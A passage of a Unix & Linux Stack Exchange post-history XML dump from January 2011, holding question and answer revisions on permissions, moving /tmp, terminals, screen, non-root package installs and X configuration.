  <row Id="12366" PostHistoryTypeId="5" PostId="5488" RevisionGUID="e4e3c801-4869-4a9f-8424-17a8684c5d83" CreationDate="2011-01-07T20:03:44.627" UserId="73" Comment="added 121 characters in body; edited title" Text="I don't understand unix users, groups, permissions, etc. For example, things managed by the `chmod`, `chgrp`, `usermod`, `groupadd`, etc. commands. How do all these things work?" />
  <row Id="12367" PostHistoryTypeId="4" PostId="5488" RevisionGUID="e4e3c801-4869-4a9f-8424-17a8684c5d83" CreationDate="2011-01-07T20:03:44.627" UserId="73" Comment="added 121 characters in body; edited title" Text="Unix users, groups, and permissions" />
  <row Id="12368" PostHistoryTypeId="6" PostId="5495" RevisionGUID="8318815b-49b9-42ca-be01-f99712b50557" CreationDate="2011-01-07T20:05:39.823" UserId="2759" Comment="edited tags" Text="ébashàéscriptingàéhomeworkà" />
  <row Id="12369" PostHistoryTypeId="5" PostId="5503" RevisionGUID="ad60ff73-8c15-4e86-a1a9-40d5ddc69ef2" CreationDate="2011-01-07T20:25:30.793" UserId="885" Comment="added recommendation to move /tmp" Text="On “client” machines, the safe way to move `/tmp` is to reboot. Here, by client, I mean anything that runs programs that put sockets in `/tmp`, in particular X servers and screen.&#xD;&#xA;&#xD;&#xA;The new `/tmp` definitely needs to have the right permissions (1777), otherwise you can't hope to have a working system.&#xD;&#xA;&#xD;&#xA;For `/tmp`, you pretty much can't copy any files. That's because most of the time, programs that put stuff in `/tmp` open the files. If you copy the file, that copies the contents, but the programs still have the old files open. You might be able to reach into them with a debugger (`ptrace`), but this will be a lot more complicated than rebooting, and with many programs all you'd do is crash them anyway.&#xD;&#xA;&#xD;&#xA;If your `/tmp` is full and you want to switch to a new one live, you need to restart all programs that have files open there. Since that means restarting X and screen sessions, it's not much better than rebooting.&#xD;&#xA;&#xD;&#xA;You should be able to switch for new programs but keep existing open files in place by using a [**union mount**](http://en.wikipedia.org/wiki/Union_mount). (The principle is sound, but I've never tried, so there may be by-me-unexpected issues.) Here's a way to do this on Linux.&#xD;&#xA;&#xD;&#xA; 1. Keep all existing files in `/tmp` except for a few manually-selected big ones.&#xD;&#xA; 2. Create a `/tmp.new` (mode 1777).&#xD;&#xA; 3. Expose `/tmp` on a different path: `mount --bind / /.root.only`. This is necessary because the next step will shadow `/tmp`. There may be different union mount implementations that don't require this step.&#xD;&#xA; 4. Make a union mount of `/.root.only/tmp` and `/tmp.new`, mounted on `/tmp`. This way new files created in `/tmp` will be written in `/tmp.new`, but files in `/.root.only/tmp` are also visible under `/tmp`. One possibility is &#xD;&#xA;[unionfs-fuse](http://podgorny.cz/moin/UnionFsFuse): `unionfs-fuse /tmp.new:/.root.only/tmp /tmp`.&#xD;&#xA;&#xD;&#xA;If you don't want to go the union mount root (e.g. because it's not available on your platform, or because it's too much trouble), at least do not delete the old directory. **Move** it, so that running programs will keep using the old directory and new programs will use the new one. (Of course new programs won't be able to communicate with old programs through sockets or pipe in `/tmp` unless you set `TMPDIR` or otherwise tell them where to look.)&#xD;&#xA;&#xD;&#xA;    mv /tmp /tmp.old &amp;&amp; mkdir /tmp&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12372" PostHistoryTypeId="2" PostId="5526" RevisionGUID="5cee2a44-2d33-4381-9632-a185aad2103a" CreationDate="2011-01-07T21:39:36.493" UserId="885" Text="Don't confuse the terminal, which is the environment for text mode programs, with the [tag:shell], which executes commands.&#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;&#xD;&#xA;In a unix context, a terminal is an environment for text input and output. Historically, a terminal was a physical device, but these days most terminals are provided by [terminal emulators](http://en.wikipedia.org/wiki/Terminal_emulator).&#xD;&#xA;&#xD;&#xA;If your display is in text mode, this is usually known as a “text console”, or sometimes (somewhat confusingly) as a “virtual terminal”.&#xD;&#xA;&#xD;&#xA;A “terminal” can be graphical, but in a unix context there will normally be a qualifier, e.g. “[X terminal](http://en.wikipedia.org/wiki/X_terminal)”.&#xD;&#xA;&#xD;&#xA;Most interactive programs run inside terminals are of one of two kinds:&#xD;&#xA;&#xD;&#xA;* [read-eval-print loops](/wiki/Read-eval-print_loop) are programs that read a line, then execute it. Unix [shells](http://unix.stackexchange.com/tags/shell/info) are examples of this.&#xD;&#xA;* full-screen text mode programs, such as `emacs -nw`, `lynx`, `nethack`, `vi`, …&#xD;&#xA;&#xD;&#xA;### Escape sequences&#xD;&#xA;&#xD;&#xA;A terminal and the program inside it communicate by exchanging text with embedded escape sequences. When you type a character in a terminal, the program receives that character; if you type a function key, the terminal usually converts it to an escape sequence. In the other direction, if the program outputs a printable character, the terminal displays it; if the program outputs a control character, it performs a function such as moving the cursor, changing the color, etc. Most terminals are compatible with [Xterm control sequences](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms).&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [Is screen useful?](http://unix.stackexchange.com/questions/4116/is-screen-useful)&#xD;&#xA;* [How can I close a terminal without killing the command running in it?](http://unix.stackexchange.com/questions/4004/how-can-i-close-a-terminal-without-killing-the-command-running-in-it)&#xD;&#xA;" />
  <row Id="12373" PostHistoryTypeId="2" PostId="5527" RevisionGUID="7de838fe-5e89-43dd-9932-bbec018f3d2a" CreationDate="2011-01-07T21:39:36.493" UserId="885" Text="A terminal is an environment for text input/output." />
  <row Id="12374" PostHistoryTypeId="2" PostId="5528" RevisionGUID="8c3c6548-30ef-4751-bb52-0c5621cf37d3" CreationDate="2011-01-07T21:48:52.453" UserId="3502" Text="I have a process which is basically a web-server, I start it during an SSH session. However, when I leave the session (by closing the PuTTY windows), it stops running and responding to requests. This is true even if I end the command with a `&amp;`. With Apache, I don't have this problem, it comes with a stop, a start, and a restart script. I'd like to create something like that for this program.&#xD;&#xA;&#xD;&#xA;How can I start a process, so that it will continue running even after I end the SSH session I started it in?&#xD;&#xA;Also how can I set it to restart itself if it stops for some reason?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="12375" PostHistoryTypeId="1" PostId="5528" RevisionGUID="8c3c6548-30ef-4751-bb52-0c5621cf37d3" CreationDate="2011-01-07T21:48:52.453" UserId="3502" Text="How can I make a process I start during an SSH session run after the session has ended?" />
  <row Id="12376" PostHistoryTypeId="3" PostId="5528" RevisionGUID="8c3c6548-30ef-4751-bb52-0c5621cf37d3" CreationDate="2011-01-07T21:48:52.453" UserId="3502" Text="ésshàéprocessàécentosàéwebserverà" />
  <row Id="12377" PostHistoryTypeId="2" PostId="5529" RevisionGUID="3971b581-7198-4f7e-845a-078da65e375d" CreationDate="2011-01-07T21:56:03.617" UserId="614" Text="You can make it a daemon (fork it twice or have it started by the system's `init` daemon) or for temporary stuff use `screen`." />
  <row Id="12378" PostHistoryTypeId="2" PostId="5530" RevisionGUID="3b997937-6310-4e4d-bc9d-3af529a90d24" CreationDate="2011-01-07T21:59:01.730" UserId="3069" Text="Start it in a `screen` session.&#xD;&#xA;&#xD;&#xA;    screen&#xD;&#xA;&#xD;&#xA;Now start the process:&#xD;&#xA;&#xD;&#xA;    myprocess&#xD;&#xA;&#xD;&#xA;Then, detach the screen session with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;d&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;You can reattach to the screen session again by typing: &#xD;&#xA;&#xD;&#xA;    screen -r&#xD;&#xA;&#xD;&#xA;If you have more sessions running you can list them with:&#xD;&#xA;&#xD;&#xA;    screen -ls&#xD;&#xA;" />
  <row Id="12379" PostHistoryTypeId="6" PostId="479" RevisionGUID="f105bf5f-12cc-4f3e-9e73-89d78d6f108f" CreationDate="2011-01-07T22:00:14.643" UserId="885" Comment="edited tags" Text="écommandölineàésshàéprocessàéscreenà" />
  <row Id="12380" PostHistoryTypeId="6" PostId="1037" RevisionGUID="9505e74c-7e3d-4b24-a7c9-99dfff2aefbc" CreationDate="2011-01-07T22:00:43.283" UserId="885" Comment="edited tags" Text="éprocessàéloginàéremoteömanagementà" />
  <row Id="12381" PostHistoryTypeId="4" PostId="4377" RevisionGUID="419c3dc5-3f33-45a7-af0e-90f5d1387b20" CreationDate="2011-01-07T22:18:28.270" UserId="885" Comment="edited tags; edited title" Text="After fork(), where does the child begin its execution?" />
  <row Id="12382" PostHistoryTypeId="6" PostId="4377" RevisionGUID="419c3dc5-3f33-45a7-af0e-90f5d1387b20" CreationDate="2011-01-07T22:18:28.270" UserId="885" Comment="edited tags; edited title" Text="éprocessàéforkà" />
  <row Id="12383" PostHistoryTypeId="10" PostId="5528" RevisionGUID="c72cfb27-86f5-42f4-9bc6-4b60198c8b82" CreationDate="2011-01-07T22:20:52.057" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="12384" PostHistoryTypeId="5" PostId="5528" RevisionGUID="d29c63a0-a679-45db-bfcc-6a4ad751a454" CreationDate="2011-01-07T22:20:52.183" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Keep SSH Sessions running after disconnection.](http://unix.stackexchange.com/questions/479/keep-ssh-sessions-running-after-disconnection)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a process which is basically a web-server, I start it during an SSH session. However, when I leave the session (by closing the PuTTY windows), it stops running and responding to requests. This is true even if I end the command with a `&amp;`. With Apache, I don't have this problem, it comes with a stop, a start, and a restart script. I'd like to create something like that for this program.&#xD;&#xA;&#xD;&#xA;How can I start a process, so that it will continue running even after I end the SSH session I started it in?&#xD;&#xA;Also how can I set it to restart itself if it stops for some reason?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="12385" PostHistoryTypeId="6" PostId="4999" RevisionGUID="df25c5dc-fee7-4476-a5f0-a7a161248100" CreationDate="2011-01-07T22:30:30.360" UserId="885" Comment="edited tags" Text="éprocessàémemoryàétopà" />
  <row Id="12386" PostHistoryTypeId="6" PostId="573" RevisionGUID="8a6dd09d-8b3b-44da-89f8-d6f219983c4a" CreationDate="2011-01-07T22:30:53.357" UserId="885" Comment="edited tags" Text="ékdeàéprocessàéksysguardà" />
  <row Id="12387" PostHistoryTypeId="6" PostId="4034" RevisionGUID="0a51810c-8346-4510-847f-46be50c62ad9" CreationDate="2011-01-07T22:36:30.930" UserId="885" Comment="edited tags" Text="ésshàéprocessàéscreenàédisownà" />
  <row Id="12388" PostHistoryTypeId="2" PostId="5531" RevisionGUID="6558b268-2068-4ff7-8039-8f7733c616b2" CreationDate="2011-01-07T22:51:57.293" UserId="885" Comment="deleted 43 characters in body" Text="A process is an instance of a running computer program.&#xD;&#xA;&#xD;&#xA;## Obtaining information about processes&#xD;&#xA;&#xD;&#xA;### Some useful tools&#xD;&#xA;&#xD;&#xA;* [`top`](http://en.wikipedia.org/wiki/Top_%28Unix%29), [`htop`](http://en.wikipedia.org/wiki/Htop): text-mode system monitors, showing process information in real time&#xD;&#xA;* [`lsof`](http://en.wikipedia.org/wiki/Lsof): &lt;b&gt;l&lt;/b&gt;i&lt;b&gt;s&lt;/b&gt;t process &lt;b&gt;o&lt;/b&gt;pen &lt;b&gt;f&lt;/b&gt;iles. Also [`netstat`](http://en.wikipedia.org/wiki/Netstat) specifically for network connections.&#xD;&#xA;* [`ptrace()`](http://en.wikipedia.org/wiki/Ptrace): a programming interface to see all the system calls that a process is making. Different systems have different command line tools: `strace` on Linux, `ktrace` on *BSD, `truss` on Solaris, `dtrace` on FreeBSD and Mac OS X, …&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is using this network socket?](http://unix.stackexchange.com/questions/17/what-is-using-this-network-socket)&#xD;&#xA;* [How to find which processes are taking all the memory?](http://unix.stackexchange.com/questions/4999/how-to-find-which-processes-are-taking-all-the-memory)&#xD;&#xA;* [Monitor one process](http://unix.stackexchange.com/questions/554/monitor-one-process)&#xD;&#xA;&#xD;&#xA;## Keeping processes running&#xD;&#xA;&#xD;&#xA;### Some useful tools&#xD;&#xA;&#xD;&#xA;* [tag:screen] [`screen`](http://en.wikipedia.org/wiki/GNU_Screen): run programs in a detachable terminal that you can reattach to later from a different place&#xD;&#xA;* [tag:cron] [`cron`](http://en.wikipedia.org/wiki/Cron): schedule a task at regular intervals. Also [`at`](http://en.wikipedia.org/wiki/At_%28Unix%29) for a one-off.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Keep SSH Sessions running after disconnection.](http://unix.stackexchange.com/questions/479/keep-ssh-sessions-running-after-disconnection)&#xD;&#xA;* [How can I pause up a running process over ssh, disown it, associate it to a new screen shell and unpause it?](http://unix.stackexchange.com/questions/4034/how-can-i-pause-up-a-running-process-over-ssh-disown-it-associate-it-to-a-new-s)&#xD;&#xA;* [Running continuous jobs remotely.](http://unix.stackexchange.com/questions/1037/running-continuous-jobs-remotely)&#xD;&#xA;&#xD;&#xA;## Other topics&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Is there a way to limit the amount of memory a particular process can use in Unix?](http://unix.stackexchange.com/questions/1424/is-there-a-way-to-limit-the-amount-of-memory-a-particular-process-can-use-in-unix)&#xD;&#xA;* [Is there a way to intercept interprocess communication in Unix/Linux?](http://unix.stackexchange.com/questions/893/is-there-a-way-to-intercept-interprocess-communication-in-unix-linux)&#xD;&#xA;" />
  <row Id="12389" PostHistoryTypeId="2" PostId="5532" RevisionGUID="6d2d993a-7f2b-4e09-be2b-281c8878838c" CreationDate="2011-01-07T22:51:57.293" UserId="885" Text="A process is an instance of a computer program that is being&#xD;&#xA;executed." />
  <row Id="12390" PostHistoryTypeId="6" PostId="4020" RevisionGUID="7c81e41a-98cd-429f-8ae3-356228e83e6e" CreationDate="2011-01-07T22:53:47.943" UserId="885" Comment="edited tags" Text="éfilesystemsàépermissionsà" />
  <row Id="12391" PostHistoryTypeId="2" PostId="5533" RevisionGUID="ccd87302-0127-4188-b40b-b91fa8c82971" CreationDate="2011-01-07T23:03:10.197" UserId="885" Text="If you're just looking for a program to accomplish a common task, you can probably find it yourself. See [Where can I find Software for Unix/Linux that does X?](http://unix.stackexchange.com/questions/2787/where-can-i-find-software-for-unix-linux-that-does-x)&#xD;&#xA;&#xD;&#xA;If you have more particular requirements, use this tag, plus one or more other tags indicative of the general topic the software is about. If you're looking for a unix equivalent to a Windows program, don't assume your readers will have heard of the Windows program. Avoid subjective requirements like “best”.&#xD;&#xA;" />
  <row Id="12392" PostHistoryTypeId="2" PostId="5534" RevisionGUID="9c024ee2-d5d8-41ce-8752-d640d60a93f3" CreationDate="2011-01-07T23:03:10.197" UserId="885" Text="recommendations for software for a particular purpose" />
  <row Id="12393" PostHistoryTypeId="2" PostId="5535" RevisionGUID="55f76ac4-23c4-4470-a637-3765d8c35777" CreationDate="2011-01-08T00:51:23.307" UserId="1517" Text="From my research, I seem to notice that all package managers insist on being used as a privileged user and must be installed into `/`.&#xD;&#xA;&#xD;&#xA;Typically, what I like to do is create a throwaway account, compile some software, and install to `$HOME` for that account. I can try a variety of setups and then when I'm done, just destroy the account.&#xD;&#xA;&#xD;&#xA;However, compiling software becomes tedious.&#xD;&#xA;&#xD;&#xA;My experience is really just limited to `yum`, but I don't understand why I wouldn't be able to drop a repo file into `~/etc/yum.repos.d` and have yum install everything into a home account.&#xD;&#xA;&#xD;&#xA;Is there any reason why package managers must be used as a privleged user to install software?" />
  <row Id="12394" PostHistoryTypeId="1" PostId="5535" RevisionGUID="55f76ac4-23c4-4470-a637-3765d8c35777" CreationDate="2011-01-08T00:51:23.307" UserId="1517" Text="Non-Root Package Managers" />
  <row Id="12395" PostHistoryTypeId="3" PostId="5535" RevisionGUID="55f76ac4-23c4-4470-a637-3765d8c35777" CreationDate="2011-01-08T00:51:23.307" UserId="1517" Text="épackageömanagementàéyumàérootà" />
  <row Id="12396" PostHistoryTypeId="18" PostId="4559" RevisionGUID="47cee06b-e93c-4236-a0f0-d79d60677e8a" CreationDate="2011-01-08T01:49:46.650" UserId="305" Comment="to http://unix.stackexchange.com/questions/2300/checking-hardware-on-linux" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="12397" PostHistoryTypeId="18" PostId="4560" RevisionGUID="47cee06b-e93c-4236-a0f0-d79d60677e8a" CreationDate="2011-01-08T01:49:46.650" UserId="305" Comment="from http://unix.stackexchange.com/questions/4559/command-to-get-cpu-hard-drive-space-etc" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="12398" PostHistoryTypeId="18" PostId="4564" RevisionGUID="47cee06b-e93c-4236-a0f0-d79d60677e8a" CreationDate="2011-01-08T01:49:46.650" UserId="305" Comment="from http://unix.stackexchange.com/questions/4559/command-to-get-cpu-hard-drive-space-etc" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="12399" PostHistoryTypeId="18" PostId="4566" RevisionGUID="47cee06b-e93c-4236-a0f0-d79d60677e8a" CreationDate="2011-01-08T01:49:46.650" UserId="305" Comment="from http://unix.stackexchange.com/questions/4559/command-to-get-cpu-hard-drive-space-etc" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="12400" PostHistoryTypeId="18" PostId="2300" RevisionGUID="47cee06b-e93c-4236-a0f0-d79d60677e8a" CreationDate="2011-01-08T01:49:46.650" UserId="305" Comment="from http://unix.stackexchange.com/questions/4559/command-to-get-cpu-hard-drive-space-etc" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="12401" PostHistoryTypeId="14" PostId="4559" RevisionGUID="2b03a211-24ad-42f7-b29e-5ca3a9e89425" CreationDate="2011-01-08T01:49:46.960" UserId="305" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="12402" PostHistoryTypeId="4" PostId="2163" RevisionGUID="ca0ad98b-db85-4e9e-a6c4-d680cc4a1a47" CreationDate="2011-01-08T01:50:40.703" UserId="305" Comment="edited title" Text="Is there any way to assign shortcuts to Nautilus bookmarks?" />
  <row Id="12403" PostHistoryTypeId="2" PostId="5536" RevisionGUID="301a79e2-2eea-4216-b832-a1ad3b76a139" CreationDate="2011-01-08T02:04:33.777" UserId="305" Text="First of all it is due to dependencies. Some packages may not be installed by user - like PolicyKit. Therefore it would require additional burden on packager who donate their free time and usually installing program is as easy as typing `sudo` (single-user station) or nagging administrator.&#xD;&#xA;&#xD;&#xA;There are options for installing in $HOME&#xD;&#xA;&#xD;&#xA; - Language primitive 'package managers' usually supports it out of box (like gem for Ruby or cabal for Haskell) or with small tweaking (I forgot name for python)&#xD;&#xA; - Good old `./configure --prefix=$HOME/sandbox --enable-cool-feature &amp;&amp; make all install` (or varitations like jhbuild).&#xD;&#xA; - There **was** program to install at $HOME few years ago. However I cannot find it - I guess nearly noone used it as they either installed them themselves or nag administrators." />
  <row Id="12404" PostHistoryTypeId="2" PostId="5537" RevisionGUID="56565052-96bc-4d76-8778-bda1b7f6d55f" CreationDate="2011-01-08T02:08:51.477" UserId="305" Text="1. Fetch [sysresccd][1] (skip step if the you don't need any kind of GUI and parted is on arch disk). It is usefult to have a copy anyway.&#xD;&#xA;2. Use gparted/parted to partition harddrive (the latter is present IIRC)&#xD;&#xA;3. Resume installing&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sysresccd.org/Main_Page" />
  <row Id="12405" PostHistoryTypeId="5" PostId="1318" RevisionGUID="0a001a1f-309e-4b60-bdc8-68e07fcd51da" CreationDate="2011-01-08T02:46:07.623" UserId="688" Comment="deleted 69 characters in body; edited tags; edited title" Text="I could not seem to find the question here but I was wondering what experience if any users have had with USB 3.0?  &#xD;&#xA;&#xD;&#xA;My asus p5x58d has usb 3 on it but I have yet to try it out and also do not know much in terms of support.&#xD;&#xA;&#xD;&#xA;I feel this is best as a community wiki where we can share experience on USB 3.0.&#xD;&#xA;&#xD;&#xA;[This article][1] discussed briefly linux and usb 3.&#xD;&#xA;&#xD;&#xA;Let the comments flow... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux.com/news/hardware/peripherals/278579-linux-and-usb-30" />
  <row Id="12406" PostHistoryTypeId="4" PostId="1318" RevisionGUID="0a001a1f-309e-4b60-bdc8-68e07fcd51da" CreationDate="2011-01-08T02:46:07.623" UserId="688" Comment="deleted 69 characters in body; edited tags; edited title" Text="Support for usb 3.0?" />
  <row Id="12407" PostHistoryTypeId="6" PostId="1318" RevisionGUID="0a001a1f-309e-4b60-bdc8-68e07fcd51da" CreationDate="2011-01-08T02:46:07.623" UserId="688" Comment="deleted 69 characters in body; edited tags; edited title" Text="éusbàéhardwareàédriversà" />
  <row Id="12408" PostHistoryTypeId="6" PostId="4377" RevisionGUID="b812c2df-5b6e-49ca-a9e0-a790df56f6d7" CreationDate="2011-01-08T03:12:28.683" UserId="29" Comment="unix c api" Text="éprocessàéunixàécàéforkàéapià" />
  <row Id="12409" PostHistoryTypeId="6" PostId="5364" RevisionGUID="dfb302e7-a70f-47b2-8a9c-0f2b859769d9" CreationDate="2011-01-08T03:14:39.150" UserId="29" Comment="add c and and api tags" Text="écàéforkàévforkàéexitàéapià" />
  <row Id="12410" PostHistoryTypeId="6" PostId="4509" RevisionGUID="ad21e156-8120-4caa-b40d-374f4125b7d6" CreationDate="2011-01-08T03:23:54.473" UserId="29" Comment="add cpp to tags" Text="éunixàéhpöuxàécppà" />
  <row Id="12411" PostHistoryTypeId="2" PostId="5538" RevisionGUID="14fa9078-776c-4428-9592-9ffcfc9af202" CreationDate="2011-01-08T04:18:13.203" UserId="1779" Text="The `_NET_WM_PID` isn't set by the window manager (as just another X11 client, how would it know?).&#xD;&#xA;&#xD;&#xA;Instead, compliant X11 clients (applications) are expected to set `_NET_WM_PID` and `WM_CLIENT_MACHINE` on their own windows.  Assuming a well-behaved application, this will be true whether a window manager is running or not.&#xD;&#xA;&#xD;&#xA;If `WM_CLIENT_MACHINE` is your own hostname, then the PID should be meaningful.  &#xD;&#xA;Otherwise, &quot;I'd like the IP and port associated with the remote end&quot; — I'm not sure what that means.  For example, if you have an ssh session open with X forwarding enabled, windows opened by forwarded apps will be marked with remote PID and hostname, but you don't necessarily have any way to connect back to that remote host." />
  <row Id="12412" PostHistoryTypeId="2" PostId="5539" RevisionGUID="12f250c6-439e-4cf7-9da7-b650356d84e8" CreationDate="2011-01-08T04:33:21.220" UserId="1779" Text="USB keyboards often expose multiple interfaces; it is likely that one is the standard 104-key set and another is the extra buttons.&#xD;&#xA;&#xD;&#xA;[MPWM](http://cgit.freedesktop.org/~whot/mpwm/) is a simple window manager that is able to use the MPX extensions to allow for multiple independent client pointers and active windows.  You'll have to wait for similar support to appear in other window managers.&#xD;&#xA;&#xD;&#xA;Xephyr currently supports neither direct nor indirect OpenGL rendering.  It's [in development](http://gitorious.org/xephyr-with-gl-acceleration)." />
  <row Id="12413" PostHistoryTypeId="2" PostId="5540" RevisionGUID="e34ab305-fa6c-4577-8e5d-2fcf72ec8c72" CreationDate="2011-01-08T04:41:48.010" UserId="1779" Text="Binary packages are compiled with the assumption that they will be installed to specific locations in `/`.  This is not always easily changed, and it would take additional QA effort (which is difficult enough in the first place!) to determine whether specific binaries are or aren't relocatable.&#xD;&#xA;&#xD;&#xA;To an extent, you can use things like [fakechroot](http://packages.debian.org/fakechroot) to create an entire system in a subdirectory as a non-root user, but this is tedious and fragile.&#xD;&#xA;&#xD;&#xA;You will have better luck with source packages.  [Gentoo Prefix](http://www.gentoo.org/proj/en/gentoo-alt/prefix/) and [Rootless GoboLinux](http://www.gobolinux.org/?page=rootless) are both package managers that can install to non-`/` locations and may be usable by non-`root` users." />
  <row Id="12414" PostHistoryTypeId="5" PostId="4705" RevisionGUID="12286639-fa32-4fb8-9ac0-89287c4e802d" CreationDate="2011-01-08T09:03:54.993" UserId="688" Comment="wajig is not a standard tool" Text="In the Debian family of OSes, `dpkg --search /bin/ls` gives:&#xD;&#xA;&#xD;&#xA;    coreutils: /bin/ls&#xD;&#xA;&#xD;&#xA;That is, the file `/bin/ls` belongs to the Debian package named __coreutils__.&#xD;&#xA;&#xD;&#xA;What is the Fedora equivalent?" />
  <row Id="12415" PostHistoryTypeId="2" PostId="5541" RevisionGUID="7fe6d648-5074-4211-af20-5655cdda8b0a" CreationDate="2011-01-08T09:29:07.410" UserId="688" Text="How I do this is have a look at `top`, sort by memory usage, and look at what seems useless.&#xD;&#xA;&#xD;&#xA;Here's an example scenario of a GNOME user who's always connected to a single LAN point:&#xD;&#xA;&#xD;&#xA;* you don't need Network Manager; it only start to be really useful if you have a more advanced networking setup (EG: bluetooth, wi-fi, 3G)&#xD;&#xA;* it's listed as NetworkManager on `top`&#xD;&#xA;* find out [which package it belongs to][1]&#xD;&#xA;* remove it&#xD;&#xA;* reset your PC and see if things are still ok&#xD;&#xA;* note that by doing this, you would also have got rid of other daemons&#xD;&#xA;&#xD;&#xA;As others have noted, you might also try other Desktops (XFCE and LXDE), which will drastically help in terms of memory usage. Note also that Firefox is a memory hog, and if you not dependent on all those useful plugins, try alternatives, like [Epiphany][2]. If you depend on Firefox (or any other memory hog), avoid opening dozens of tabs. Use bookmarks instead, if you want to keep a tab on things (pun not intended).&#xD;&#xA;&#xD;&#xA;This process might take some time, and I encourage you to experiment, and whenever you encounter a daemon you don't recognize, check it's man page or Google it, to ensure that you won't be screwing your system up.&#xD;&#xA;&#xD;&#xA;Other services that would be busy that I can think of, and you might not be using is apache, ssh-server, and (in the case of Ubuntu) ubuntu-one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4705/how-to-find-out-which-package-a-file-belongs-to&#xD;&#xA;  [2]: http://projects.gnome.org/epiphany/" />
  <row Id="12416" PostHistoryTypeId="6" PostId="428" RevisionGUID="21e37928-1107-4bf0-a847-34ce9cc0f224" CreationDate="2011-01-08T09:35:00.367" UserId="688" Comment="edited tags" Text="éperformanceàéioà" />
  <row Id="12417" PostHistoryTypeId="2" PostId="5542" RevisionGUID="b1d9dd83-2f62-45d2-b5ea-806c560a37ed" CreationDate="2011-01-08T09:55:11.263" UserId="120" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have been consulted about any way to release a port owned by a third party application that is listening to it. Say the application uses sockets and is listening for an specific port the root now want to claim back without closing the application. I've been unable to give an answer.&#xD;&#xA;&#xD;&#xA;Is there any way to close the handle to the port from the terminal or with an specific API (say the root can write an run C++) that can accomplish this?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12418" PostHistoryTypeId="1" PostId="5542" RevisionGUID="b1d9dd83-2f62-45d2-b5ea-806c560a37ed" CreationDate="2011-01-08T09:55:11.263" UserId="120" Text="How to release a port owned by third party application?" />
  <row Id="12419" PostHistoryTypeId="3" PostId="5542" RevisionGUID="b1d9dd83-2f62-45d2-b5ea-806c560a37ed" CreationDate="2011-01-08T09:55:11.263" UserId="120" Text="énetworkingà" />
  <row Id="12420" PostHistoryTypeId="2" PostId="5543" RevisionGUID="4c524544-a09f-4f3e-a765-664e59d519c9" CreationDate="2011-01-08T10:37:48.293" UserId="688" Text="I see that Iceweasel 4 from http://mozilla.debian.net/ repository is broken (depends on non-existent version of SQLite). Is there a working repo out there?&#xD;&#xA;" />
  <row Id="12421" PostHistoryTypeId="1" PostId="5543" RevisionGUID="4c524544-a09f-4f3e-a765-664e59d519c9" CreationDate="2011-01-08T10:37:48.293" UserId="688" Text="How to install Iceweasel 4 on Debian?" />
  <row Id="12422" PostHistoryTypeId="3" PostId="5543" RevisionGUID="4c524544-a09f-4f3e-a765-664e59d519c9" CreationDate="2011-01-08T10:37:48.293" UserId="688" Text="édebianàéiceweaselà" />
  <row Id="12423" PostHistoryTypeId="2" PostId="5544" RevisionGUID="fc1804ff-782e-4cf8-af46-b3213a572105" CreationDate="2011-01-08T11:55:07.807" UserId="863" Text="Using the ATI Catalyst Control Center (fglrx), I setup two desktops (the multidesktop option) via dual-head. Now I have two mice and keyboards (USB) attached which, using `xinput` can be put in two separate groups. Can I lock each group to one screen? And how can this be done permanently?&#xD;&#xA;&#xD;&#xA;This is the xorg.conf as setup by the Catalyst Center:&#xD;&#xA;&#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;    	Identifier     &quot;amdcccle Layout&quot;&#xD;&#xA;    	Screen      0  &quot;amdcccle-Screen[1]-0&quot; 0 0&#xD;&#xA;    	Screen         &quot;amdcccle-Screen[1]-1&quot; 1400 0&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Module&quot;&#xD;&#xA;    	Load  &quot;glx&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;    	Identifier   &quot;0-CRT1&quot;&#xD;&#xA;    	Option	    &quot;VendorName&quot; &quot;ATI Proprietary Driver&quot;&#xD;&#xA;    	Option	    &quot;ModelName&quot; &quot;Generic Autodetecting Monitor&quot;&#xD;&#xA;    	Option	    &quot;DPMS&quot; &quot;true&quot;&#xD;&#xA;    	Option	    &quot;PreferredMode&quot; 